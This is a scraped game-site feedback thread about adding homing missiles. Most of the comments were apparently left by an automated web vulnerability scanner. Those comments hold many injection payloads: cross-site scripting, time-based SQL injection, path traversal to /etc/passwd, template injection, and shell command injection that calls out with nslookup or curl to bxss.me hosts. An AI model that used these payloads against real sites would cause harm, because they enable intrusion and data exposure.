Feedback

Missiles as an Third Weapon by Ram - 151 months ago

I wonder it you could make it so then you could shoot missiles that target the closest element

• MassMurdererOver9000

  That's what I suggested in the "Extra Weapons" suggestion, among other weapons.

• ola q ase

  YES IT WOULD BE VERY COOL

• Anonymus KickAsser

  it would be very, very cool

• cvv

  df

• cvv

  df

• cvv

  df

• cvv

  df

• cvv

  df

• lxbfYeaa

  1

• lxbfYeaa

  1

• MAKEITDIE6789

  yes

• MAKEITDIE6789

  yes

• MAKEITDIE6789

  yes

• MAKEITDIE6789

  yes

• MAKEITDIE6789

  yes

• MAKEITDIE6789

  yes

• MAKEITDIE6789

  yes

• MAKEITDIE6789

  yes

• MAKEITDIE6789

  yes

• MAKEITDIE6789

  yes

• MAKEITDIE6789

  yes

• MAKEITDIE6789

  yes

• MAKEITDIE6789

  yes

• MAKEITDIE6789

  yes

• MAKEITDIE6789

  yes

• MAKEITDIE6789

  yes

• MAKEITDIE6789

  yes

• MAKEITDIE6789

  yes

• MAKEITDIE6789

  yes

• JJJ3QQQ

  JJJ30QQQ

• WfxYANoW

  1

• WfxYANoW

  1CxRARlD4EO

• WfxYANoW

  1<esi:include src="http://bxss.me/rpb.png"/>

• WfxYANoW

  ${9999567+10000346}

• 1DhVZFotESO

  1

• ${10000044+10000109}

  1

• WfxYANoW

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• Anonymous

  1

• WfxYANoW

  echo blnipg$()\ sfkxqk\nz^xyu||a #' &echo blnipg$()\ sfkxqk\nz^xyu||a #|" &echo blnipg$()\ sfkxqk\nz^xyu||a #

• WfxYANoW

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• WfxYANoW

  BcybHGR8

• WfxYANoW

  ../../../../../../../../../../../../../../etc/passwd

• WfxYANoW

  response.write(9847912*9158430)

• WfxYANoW

  ../../../../../../../../../../../../../../windows/win.ini

• WfxYANoW

  MZWtu73H: xwVXsCxA

• WfxYANoW

  1&n933923=v967973

• WfxYANoW

  Http://bxss.me/t/fit.txt

• WfxYANoW

  '+response.write(9847912*9158430)+'

• WfxYANoW

  file:///etc/passwd

• WfxYANoW

  &echo obdcwx$()\ tmjjgk\nz^xyu||a #' &echo obdcwx$()\ tmjjgk\nz^xyu||a #|" &echo obdcwx$()\ tmjjgk\nz^xyu||a #

• WfxYANoW

  )

• VnFjenJZSVQ=

  1

• WfxYANoW

  !(()&&!|*|*|

• WfxYANoW

  "+response.write(9847912*9158430)+"

• WfxYANoW

  ^(#$!@#$)(()))******

• XTq4scB7

  1

• WfxYANoW

  1&echo tquzio$()\ ipywhc\nz^xyu||a #' &echo tquzio$()\ ipywhc\nz^xyu||a #|" &echo tquzio$()\ ipywhc\nz^xyu||a #

• response.write(9095415*9822010)

  1

• WfxYANoW

  1

• NeBZ2O86: 8GVExD8C

  1

• WfxYANoW

  |echo fjvcum$()\ ibhdum\nz^xyu||a #' |echo fjvcum$()\ ibhdum\nz^xyu||a #|" |echo fjvcum$()\ ibhdum\nz^xyu||a #

• WfxYANoW

  ../1

• )

  1

• WfxYANoW&n932146=v905184

  1

• WfxYANoW

  http://bxss.me/t/fit.txt?.jpg

• '+response.write(9095415*9822010)+'

  1

• WfxYANoW

  '.gethostbyname(lc('hituw'.'kueegkvm45cef.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(70).chr(122).chr(89).'

• WfxYANoW

  1

• !(()&&!|*|*|

  1

• WfxYANoW

  1|echo dwkkxf$()\ lyqsbc\nz^xyu||a #' |echo dwkkxf$()\ lyqsbc\nz^xyu||a #|" |echo dwkkxf$()\ lyqsbc\nz^xyu||a #

• file:///etc/passwd

  1

• WfxYANoW

  ".gethostbyname(lc("hitfp"."ywyrudyuf60b7.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(90).chr(118).chr(77)."

• WfxYANoW

  (nslookup -q=cname hitmyjnkcvmwled511.bxss.me||curl hitmyjnkcvmwled511.bxss.me))

• ^(#$!@#$)(()))******

  1

• WfxYANoW

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• WfxYANoW

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• WfxYANoW

  /etc/shells

• "+response.write(9095415*9822010)+"

  1

• WfxYANoW

  1

• WfxYANoW

  gethostbyname(lc('hituh'.'rffrzyxl3a888.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(68).chr(100).chr(89)

• WfxYANoW

  ';print(md5(31337));$a='

• WfxYANoW

  '"

• ../WfxYANoW

  1

• WfxYANoW

  xfs.bxss.me

• WfxYANoW

  $(nslookup -q=cname hitqmyoteetlh361c5.bxss.me||curl hitqmyoteetlh361c5.bxss.me)

• WfxYANoW

  ../../../../../../../../../../../../../../etc/shells

• xfs.bxss.me

  1

• WfxYANoW

  1'"()&%<zzz><ScRiPt >WgwZ(9445)</ScRiPt>

• WfxYANoW

  c:/windows/win.ini

• WfxYANoW

  HttP://bxss.me/t/xss.html?%00

• WfxYANoW

  &nslookup -q=cname hitfcrvmsjeiuf0b88.bxss.me&'\"`0&nslookup -q=cname hitfcrvmsjeiuf0b88.bxss.me&`'

• WfxYANoW

  bxss.me

• WfxYANoW

  bxss.me/t/xss.html?%00

• WfxYANoW

  &(nslookup -q=cname hitkomzrodobe78877.bxss.me||curl hitkomzrodobe78877.bxss.me)&'\"`0&(nslookup -q=cname hitkomzrodobe78877.bxss.me||curl hitkomzrodobe78877.bxss.me)&`'

• WfxYANoW

  ";print(md5(31337));$a="

• HttP://bxss.me/t/xss.html?%00

  1

• WfxYANoW

  ${@print(md5(31337))}

• WfxYANoW

  "+"A".concat(70-3).concat(22*4).concat(119).concat(79).concat(112).concat(70)+(require"socket" Socket.gethostbyname("hitje"+"pjnqhagr0b73e.bxss.me.")[3].to_s)+"

• 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  1

• bxss.me/t/xss.html?%00

  1

• WfxYANoW

  '"()

• WfxYANoW

  ${@print(md5(31337))}\

• WfxYANoW

  <!--

• WfxYANoW

  1'&&sleep(27*1000)*mdvyat&&'

• WfxYANoW

  '.print(md5(31337)).'

• WfxYANoW

  |(nslookup -q=cname hitagrrjhsjqgf2aa6.bxss.me||curl hitagrrjhsjqgf2aa6.bxss.me)

• Http://bxss.me/t/fit.txt

  1

• WfxYANoW

  '"()&%<zzz><ScRiPt >WgwZ(9556)</ScRiPt>

• WfxYANoW

  1"&&sleep(27*1000)*qdefhs&&"

• http://bxss.me/t/fit.txt?.jpg

  1

• WfxYANoW

  1'||sleep(27*1000)*kvwyjn||'

• '"

  1

• WfxYANoW

  19845316

• /etc/shells

  1

• WfxYANoW

  '+'A'.concat(70-3).concat(22*4).concat(122).concat(86).concat(112).concat(89)+(require'socket' Socket.gethostbyname('hitny'+'bgxnculk87560.bxss.me.')[3].to_s)+'

• WfxYANoW

  comment

• WfxYANoW

  1

• ';print(md5(31337));$a='

  1

• WfxYANoW

  'A'.concat(70-3).concat(22*4).concat(100).concat(75).concat(104).concat(76)+(require'socket' Socket.gethostbyname('hitgy'+'atdawozl30aeb.bxss.me.')[3].to_s)

• WfxYANoW

  1"||sleep(27*1000)*lbsnwv||"

• WfxYANoW

  `(nslookup -q=cname hittdtcurpkdtda628.bxss.me||curl hittdtcurpkdtda628.bxss.me)`

• c:/windows/win.ini

  1

• ";print(md5(31337));$a="

  1

• WfxYANoW

  comment

• <!--

  1

• WfxYANoW

  comment/.

• WfxYANoW

  ;(nslookup -q=cname hitvnngeuvmugec405.bxss.me||curl hitvnngeuvmugec405.bxss.me)|(nslookup -q=cname hitvnngeuvmugec405.bxss.me||curl hitvnngeuvmugec405.bxss.me)&(nslookup -q=cname hitvnngeuvmugec405.bxss.me||curl hitvnngeuvmugec405.bxss.me)

• WfxYANoW

  1

• comment

  1

• WfxYANoW

  |(nslookup${IFS}-q${IFS}cname${IFS}hitjrvqqmxqhj8757b.bxss.me||curl${IFS}hitjrvqqmxqhj8757b.bxss.me)

• WfxYANoW

  bfg5503＜s1﹥s2ʺs3ʹhjl5503

• WfxYANoW

  &(nslookup${IFS}-q${IFS}cname${IFS}hitajztroxqlq2b0dc.bxss.me||curl${IFS}hitajztroxqlq2b0dc.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitajztroxqlq2b0dc.bxss.me||curl${IFS}hitajztroxqlq2b0dc.bxss.me)&`'

• comment

  1

• comment/.

  1

• bxss.me

  1

• ${@print(md5(31337))}

  1

• '"()

  1

• WfxYANoW

  <%={{={@{#{${dfb}}%>

• WfxYANoW'&&sleep(27*1000)*rzndhn&&'

  1

• ${@print(md5(31337))}\

  1

• '.print(md5(31337)).'

  1

• WfxYANoW"&&sleep(27*1000)*pqdvkn&&"

  1

• WfxYANoW'||sleep(27*1000)*taogiu||'

  1

• WfxYANoW

  <th:t="${dfb}#foreach

• WfxYANoW"||sleep(27*1000)*xnxgcv||"

  1

• WfxYANoW

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• WfxYANoW

  dfb{{98991*97996}}xca

• WfxYANoW

  dfb[[${98991*97996}]]xca

• WfxYANoW

  dfb__${98991*97996}__::.x

• WfxYANoW

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• WfxYANoW

  1<ScRiPt >WgwZ(9834)</ScRiPt>

• WfxYANoW

  1<W3I0QE>A8G6X[!+!]</W3I0QE>

• WfxYANoW

  1<script>WgwZ(9024)</script>

• WfxYANoW

  1

• WfxYANoW

  1<script>WgwZ(9154)</script>9154

• WfxYANoW

  1<ScR<ScRiPt>IpT>WgwZ(9176)</sCr<ScRiPt>IpT>

• WfxYANoW

  1<ScRiPt >WgwZ(9024)</ScRiPt>

• WfxYANoW

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9630></ScRiPt>

• WfxYANoW

  1<ScRiPt >WgwZ(9544)</ScRiPt>

• WfxYANoW

  1<isindex type=image src=1 onerror=WgwZ(9343)>

• WfxYANoW

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9168'>

• WfxYANoW

  1<body onload=WgwZ(9845)>

• WfxYANoW

  1<img src=//xss.bxss.me/t/dot.gif onload=WgwZ(9049)>

• WfxYANoW

  1<img src=xyz OnErRor=WgwZ(9400)>

• WfxYANoW

  1<img/src=">" onerror=alert(9932)>

• WfxYANoW

  %31%3C%53%63%52%69%50%74%20%3E%57%67%77%5A%289207%29%3C%2F%73%43%72%69%70%54%3E

• WfxYANoW

  1yb2ch8Oa

• WfxYANoW

  1\u003CScRiPt\WgwZ(9193)\u003C/sCripT\u003E

• WfxYANoW

  1&lt;ScRiPt&gt;WgwZ(9486)&lt;/sCripT&gt;

• WfxYANoW

  1<input autofocus onfocus=WgwZ(9609)>

• WfxYANoW

  <a HrEF=http://xss.bxss.me></a>

• WfxYANoW

  <a HrEF=http://xss.bxss.me></a>

• WfxYANoW

  <a HrEF=jaVaScRiPT:>

• WfxYANoW

  1}body{zzz:Expre/**/SSion(WgwZ(9187))}

• WfxYANoW

  1R3YNz <ScRiPt >WgwZ(9142)</ScRiPt>

• WfxYANoW

  1<WEZ5QB>CMA8K[!+!]</WEZ5QB>

• WfxYANoW

  1<ifRAme sRc=9355.com></IfRamE>

• WfxYANoW

  1<avAhUM5 x=9900>

• WfxYANoW

  1

• WfxYANoW

  -1 OR 2+168-168-1=0+0+0+1 --

• WfxYANoW

  1<img sRc='http://attacker-9762/log.php?

• WfxYANoW

  -1 OR 2+429-429-1=0+0+0+1

• WfxYANoW

  -1' OR 2+891-891-1=0+0+0+1 --

• WfxYANoW

  -1' OR 2+883-883-1=0+0+0+1 or '9xGCp974'='

• WfxYANoW

  1<aU6hwgk<

• WfxYANoW

  -1" OR 2+226-226-1=0+0+0+1 --

• WfxYANoW'"()&%<zzz><ScRiPt >WgwZ(9358)</ScRiPt>

  1

• '"()&%<zzz><ScRiPt >WgwZ(9461)</ScRiPt>

  1

• WfxYANoW9330298

  1

• bfg4637＜s1﹥s2ʺs3ʹhjl4637

  1

• <%={{={@{#{${dfb}}%>

  1

• <th:t="${dfb}#foreach

  1

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• dfb{{98991*97996}}xca

  1

• dfb[[${98991*97996}]]xca

  1

• dfb__${98991*97996}__::.x

  1

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• WfxYANoW

  1*if(now()=sysdate(),sleep(15),0)

• WfxYANoW<ScRiPt >WgwZ(9505)</ScRiPt>

  1

• WfxYANoW<WIT2VX>OZAQD[!+!]</WIT2VX>

  1

• WfxYANoW<script>WgwZ(9192)</script>

  1

• WfxYANoW<script>WgwZ(9006)</script>9006

  1

• WfxYANoW<ScRiPt >WgwZ(9341)</ScRiPt>

  1

• WfxYANoW<ScRiPt >WgwZ(9354)</ScRiPt>

  1

• WfxYANoW<body onload=WgwZ(9970)>

  1

• WfxYANoW<img src=xyz OnErRor=WgwZ(9241)>

  1

• WfxYANoW<img/src=">" onerror=alert(9529)>

  1

• WfxYANoW

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• WfxYANoW\u003CScRiPt\WgwZ(9167)\u003C/sCripT\u003E

  1

• WfxYANoW&lt;ScRiPt&gt;WgwZ(9216)&lt;/sCripT&gt;

  1

• WfxYANoW<input autofocus onfocus=WgwZ(9850)>

  1

• <a HrEF=http://xss.bxss.me></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• WfxYANoW}body{zzz:Expre/**/SSion(WgwZ(9557))}

  1

• WfxYANoW3WJWR <ScRiPt >WgwZ(9073)</ScRiPt>

  1

• WfxYANoW<WVISFU>EYJDW[!+!]</WVISFU>

  1

• WfxYANoW<ifRAme sRc=9396.com></IfRamE>

  1

• WfxYANoW<a2Tre6w x=9308>

  1

• WfxYANoW<img sRc='http://attacker-9131/log.php?

  1

• WfxYANoW<aOcMCjn<

  1

• WfxYANoW

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• WfxYANoW

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• WfxYANoW

  1-1; waitfor delay '0:0:15' --

• WfxYANoW

  1-1); waitfor delay '0:0:15' --

• WfxYANoW

  1-1 waitfor delay '0:0:15' --

• WfxYANoW

  1QjQ4XcUE'; waitfor delay '0:0:15' --

• WfxYANoW

  1-1 OR 907=(SELECT 907 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1) OR 22=(SELECT 22 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1)) OR 88=(SELECT 88 FROM PG_SLEEP(15))--

• WfxYANoW

  16B4pDIOG' OR 135=(SELECT 135 FROM PG_SLEEP(15))--

• WfxYANoW

  1t6SNWsna') OR 934=(SELECT 934 FROM PG_SLEEP(15))--

• WfxYANoW

  16IwhB68p')) OR 349=(SELECT 349 FROM PG_SLEEP(15))--

• WfxYANoW

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• WfxYANoW

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• WfxYANoW

  1'"

• WfxYANoW

  @@kDOer

• WfxYANoW

  1

• WfxYANoW

  1

• WfxYANoWyaglCt4P

  1

• WfxYANoW

  1

• -1 OR 2+794-794-1=0+0+0+1 --

  1

• -1 OR 2+675-675-1=0+0+0+1

  1

• -1' OR 2+594-594-1=0+0+0+1 --

  1

• -1' OR 2+422-422-1=0+0+0+1 or 'KC1pMAn9'='

  1

• -1" OR 2+564-564-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• WfxYANoW-1 waitfor delay '0:0:15' --

  1

• WfxYANoWN4fxp8lc'; waitfor delay '0:0:15' --

  1

• WfxYANoW'"

  1

• @@3eSgw

  1

• Peter Winter

  555-555-0199@example.com

• Pecedec150

  555-555-0199@example.com

• acfvfrja

  1

• fepgttdv

  response.write(9797426*9408056)

• fepgttdv

  '+response.write(9797426*9408056)+'

• gvxqhplt

  1

• fepgttdv

  "+response.write(9797426*9408056)+"

• wnwwbxbp

  set|set&set

• gvxqhplt

  1

• wwuxmodw

  v98H3P34

• response.write(9907748*9426347)

  1

• wnwwbxbp

  $(nslookup ctMaCHYK)

• gvxqhplt

  ynAnIUry

• wkVn4zal

  1

• '+response.write(9907748*9426347)+'

  1

• wnwwbxbp

  &nslookup 9DxRgXQb&'\"`0&nslookup 9DxRgXQb&`'

• gvxqhplt

  -1 OR 2+663-663-1=0+0+0+1 --

• cfuqankr

  ../../../../../../../../../../etc/passwd

• iusmytqx

  1

• "+response.write(9907748*9426347)+"

  1

• set|set&set

  1

• gvxqhplt

  -1 OR 2+38-38-1=0+0+0+1

• cfuqankr

  ../../../../../../../../../../../../../../../proc/version

• qigmhplf

  ${9999829+9999939}

• $(nslookup aQBN4SxI)

  1

• gvxqhplt

  -1' OR 2+683-683-1=0+0+0+1 --

• cfuqankr

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• ${9999649+9999394}

  1

• &nslookup O26A7kzG&'\"`0&nslookup O26A7kzG&`'

  1

• ycxhhswk

  http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

• gvxqhplt

  -1' OR 2+251-251-1=0+0+0+1 or '4XAXKK6s'='

• cfuqankr

  ../../../../../../../../../../etc/passwd.jpg

• RE1xTDVuc0w=

  1

• tkjfsdsw

  1&n971132=v942135

• ycxhhswk

  1some_inexistent_file_with_long_name.jpg

• gvxqhplt

  -1" OR 2+922-922-1=0+0+0+1 --

• cfuqankr

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• iusmytqx

  1

• lavfruef

  )

• ycxhhswk

  Http://testasp.vulnweb.com/t/fit.txt

• gvxqhplt

  if(now()=sysdate(),sleep(4),0)/*'XOR(if(now()=sysdate(),sleep(4),0))OR'"XOR(if(now()=sysdate(),sleep(4),0))OR"*/

• cfuqankr

  /../..//../..//../..//../..//../..//etc/passwd.jpg

• Anonymous

  1

• lavfruef

  !(()&&!|*|*|

• ycxhhswk

  http://testasp.vulnweb.com/t/fit.txt?.jpg

• xqgybdcu&n957934=v984021

  1

• gvxqhplt

  if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/

• cfuqankr

  .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

• lavfruef

  ^(#$!@#$)(()))******

• ycxhhswk

  testasp.vulnweb.com

• gvxqhplt

  (select(0)from(select(sleep(4)))v)/*'+(select(0)from(select(sleep(4)))v)+'"+(select(0)from(select(sleep(4)))v)+"*/

• cfuqankr

  /etc/passwd

• )

  1

• gvxqhplt

  (select(0)from(select(sleep(8)))v)/*'+(select(0)from(select(sleep(8)))v)+'"+(select(0)from(select(sleep(8)))v)+"*/

• cfuqankr

  %2fetc%2fpasswd

• piuvriet

  ;print(md5(acunetix_wvs_security_test));

• !(()&&!|*|*|

  1

• 1some_inexistent_file_with_long_name.jpg

  1

• kespcryw

  '"()

• gvxqhplt

  -1; waitfor delay '0:0:4' --

• cfuqankr

  /.././.././.././.././.././.././.././../etc/./passwd%00

• piuvriet

  ';print(md5(acunetix_wvs_security_test));$a='

• ^(#$!@#$)(()))******

  1

• Http://testasp.vulnweb.com/t/fit.txt

  1

• gvxqhplt

  -1; waitfor delay '0:0:8' --

• cfuqankr

  ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

• piuvriet

  ";print(md5(acunetix_wvs_security_test));$a="

• tqxbrira

  http://testasp.vulnweb.com/t/xss.html?%00.jpg

• http://testasp.vulnweb.com/t/fit.txt?.jpg

  1

• '"()

  1

• gvxqhplt

  -1); waitfor delay '0:0:4' --

• cfuqankr

  ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

• piuvriet

  ${@print(md5(acunetix_wvs_security_test))}

• http://testasp.vulnweb.com/t/xss.html?%00.jpg

  1

• testasp.vulnweb.com

  1

• toiytlht

  1

• gvxqhplt

  -1); waitfor delay '0:0:12' --

• piuvriet

  ${@print(md5(acunetix_wvs_security_test))}\

• bgshfgcc

  http://hitHQ5lHBQxQe.bxss.me/

• weetyuxq

  1

• toiytlht

  comment

• gvxqhplt

  1 waitfor delay '0:0:4' --

• cfuqankr

  invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

• mwjslkmo

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• ;print(md5(acunetix_wvs_security_test));

  1

• weetyuxq

  1'"

• http://hitdL37mPBR3r.bxss.me/

  1

• toiytlht

  comment

• gvxqhplt

  1 waitfor delay '0:0:12' --

• cfuqankr

  file:///etc/passwd

• ';print(md5(acunetix_wvs_security_test));$a='

  1

• weetyuxq

  \

• lqoxllqq

  /www.vulnweb.com

• toiytlht

  comment/.

• gvxqhplt

  ca2WXIJ5'; waitfor delay '0:0:8' --

• cfuqankr

  /\../\../\../\../\../\../\../etc/passwd

• kxoifxsd

  '"

• ";print(md5(acunetix_wvs_security_test));$a="

  1

• /www.vulnweb.com

  1

• toiytlht

  1

• gvxqhplt

  -1;select pg_sleep(8); --

• cfuqankr

  WEB-INF/web.xml

• kxoifxsd

  <!--

• ${@print(md5(acunetix_wvs_security_test))}

  1

• weetyuxq

  @@1rG2b

• aebpiwsd

  1'"()&%<acx><ScRiPt >PQ9U(9543)</ScRiPt>

• comment

  1

• gvxqhplt

  -1);select pg_sleep(8); --

• cfuqankr

  /WEB-INF/web.xml

• '"

  1

• ${@print(md5(acunetix_wvs_security_test))}\

  1

• weetyuxq

  JyI=

• comment

  1

• gvxqhplt

  -1));select pg_sleep(8); --

• cfuqankr

  WEB-INF\web.xml

• <!--

  1

• comment/.

  1

• aebpiwsd

  '"()&%<acx><ScRiPt >PQ9U(9959)</ScRiPt>

• gvxqhplt

  nzrhp2a0';select pg_sleep(8); --

• ../../../../../../../../../../etc/passwd

  1

• gvxqhplt

  nbhTt8y4');select pg_sleep(8); --

• weetyuxq

  (select convert(int,CHAR(65)))

• aebpiwsd

  1_9697

• gvxqhplt

  0j0KveQq'));select pg_sleep(12); --

• weetyuxq

  1

• gvxqhplt

  1

• ../../../../../../../../../../etc/passwd.jpg

  1

• 1'"

  1

• aebpiwsd

  acu8639＜s1﹥s2ʺs3ʹuca8639

• gvxqhplt

  1

• \

  1

• 8sGfOoPF

  1

• -1 OR 2+581-581-1=0+0+0+1 --

  1

• .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

  1

• @@t78j5

  1

• -1 OR 2+753-753-1=0+0+0+1

  1

• /etc/passwd

  1

• JyI=

  1

• aebpiwsd

  {{9999095*9999896}}

• -1' OR 2+939-939-1=0+0+0+1 --

  1

• %2fetc%2fpasswd

  1

• -1' OR 2+845-845-1=0+0+0+1 or '8kIxibOZ'='

  1

• -1" OR 2+322-322-1=0+0+0+1 --

  1

• aebpiwsd

  1<ScRiPt >PQ9U(9782)</ScRiPt>

• (select convert(int,CHAR(65)))

  1

• aebpiwsd

  1<WDADP4>VAIEA[!+!]</WDADP4>

• 1 waitfor delay '0:0:5' --

  1

• F2lbRkNW'; waitfor delay '0:0:5' --

  1

• file:///etc/passwd

  1

• glhbS34q';select pg_sleep(11); --

  1

• T4TptHFG');select pg_sleep(11); --

  1

• aebpiwsd

  1<script>PQ9U(9616)</script>

• /\../\../\../\../\../\../\../etc/passwd

  1

• k8ItGlut'));select pg_sleep(11); --

  1

• WEB-INF/web.xml

  1

• aebpiwsd

  1<ScR<ScRiPt>IpT>PQ9U(9413)</sCr<ScRiPt>IpT>

• /WEB-INF/web.xml

  1

• WEB-INF\web.xml

  1

• aebpiwsd

  1<ScRiPt >PQ9U(9474)</ScRiPt>

• aebpiwsd

  1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9541></ScRiPt>

• aebpiwsd

  1<ScRiPt >PQ9U(9494)</ScRiPt>

• aebpiwsd

  1<video><source onerror="javascript:PQ9U(9022)">

• aebpiwsd

  1<isindex type=image src=1 onerror=PQ9U(9755)>

• aebpiwsd

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9008'>

• aebpiwsd

  1<body onload=PQ9U(9988)>

• aebpiwsd

  1<img src=//testasp.vulnweb.com/t/dot.gif onload=PQ9U(9602)>

• aebpiwsd

  1<img src=xyz OnErRor=PQ9U(9688)>

• aebpiwsd

  1<img/src=">" onerror=alert(9299)>

• aebpiwsd

  %31%3C%53%63%52%69%50%74%20%3E%50%51%39%55%289104%29%3C%2F%73%43%72%69%70%54%3E

• aebpiwsd

  1\u003CScRiPt\PQ9U(9543)\u003C/sCripT\u003E

• aebpiwsd

  1&lt;ScRiPt&gt;PQ9U(9935)&lt;/sCripT&gt;

• aebpiwsd

  1<input autofocus onfocus=PQ9U(9627)>

• aebpiwsd

  <a HrEF=http://www.vulnweb.com></a>

• aebpiwsd

  <a HrEF=jaVaScRiPT:>

• aebpiwsd

  [url=http://www.vulnweb.com][/url]

• aebpiwsd

  1<img<!-- --> src=x onerror=alert(9680);//><!-- -->

• aebpiwsd

  1}body{acu:Expre/**/SSion(PQ9U(9600))}

• aebpiwsd

  1<% contenteditable onresize=PQ9U(9966)>

• aebpiwsd

  1_swPBU <ScRiPt >PQ9U(9325)</ScRiPt>

• aebpiwsd

  1<WPDMMK>JOUC8[!+!]</WPDMMK>

• aebpiwsd

  1<ifRAme sRc=9415.com></IfRamE>

• aebpiwsd

  1<P76HSO x=9717>

• aebpiwsd

  1<img sRc='http://attacker-9684/log.php?

• aebpiwsd'"()&%<acx><ScRiPt >PQ9U(9324)</ScRiPt>

  1

• '"()&%<acx><ScRiPt >PQ9U(9270)</ScRiPt>

  1

• aebpiwsd_9772

  1

• acu1025＜s1﹥s2ʺs3ʹuca1025

  1

• {{9999684*9999232}}

  1

• aebpiwsd<ScRiPt >PQ9U(9093)</ScRiPt>

  1

• aebpiwsd<WKG078>T0Q9D[!+!]</WKG078>

  1

• aebpiwsd<script>PQ9U(9856)</script>

  1

• aebpiwsd<ScRiPt >PQ9U(9217)</ScRiPt>

  1

• aebpiwsd<ScRiPt >PQ9U(9094)</ScRiPt>

  1

• aebpiwsd<body onload=PQ9U(9491)>

  1

• aebpiwsd<img src=xyz OnErRor=PQ9U(9435)>

  1

• aebpiwsd<img/src=">" onerror=alert(9337)>

  1

• aebpiwsd\u003CScRiPt\PQ9U(9147)\u003C/sCripT\u003E

  1

• aebpiwsd&lt;ScRiPt&gt;PQ9U(9389)&lt;/sCripT&gt;

  1

• aebpiwsd<input autofocus onfocus=PQ9U(9757)>

  1

• <a HrEF=http://www.vulnweb.com></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• [url=http://www.vulnweb.com][/url]

  1

• aebpiwsd}body{acu:Expre/**/SSion(PQ9U(9905))}

  1

• aebpiwsd<% contenteditable onresize=PQ9U(9583)>

  1

• aebpiwsd_PiXrO <ScRiPt >PQ9U(9193)</ScRiPt>

  1

• aebpiwsd<WDIRNX>VWFJ1[!+!]</WDIRNX>

  1

• aebpiwsd<ifRAme sRc=9236.com></IfRamE>

  1

• aebpiwsd<3sZmuh x=9742>

  1

• aebpiwsd<img sRc='http://attacker-9515/log.php?

  1

Comment

• Ship changed after being placed into the gallery
  By BeyPokéDig - 152 months ago
  Unvote

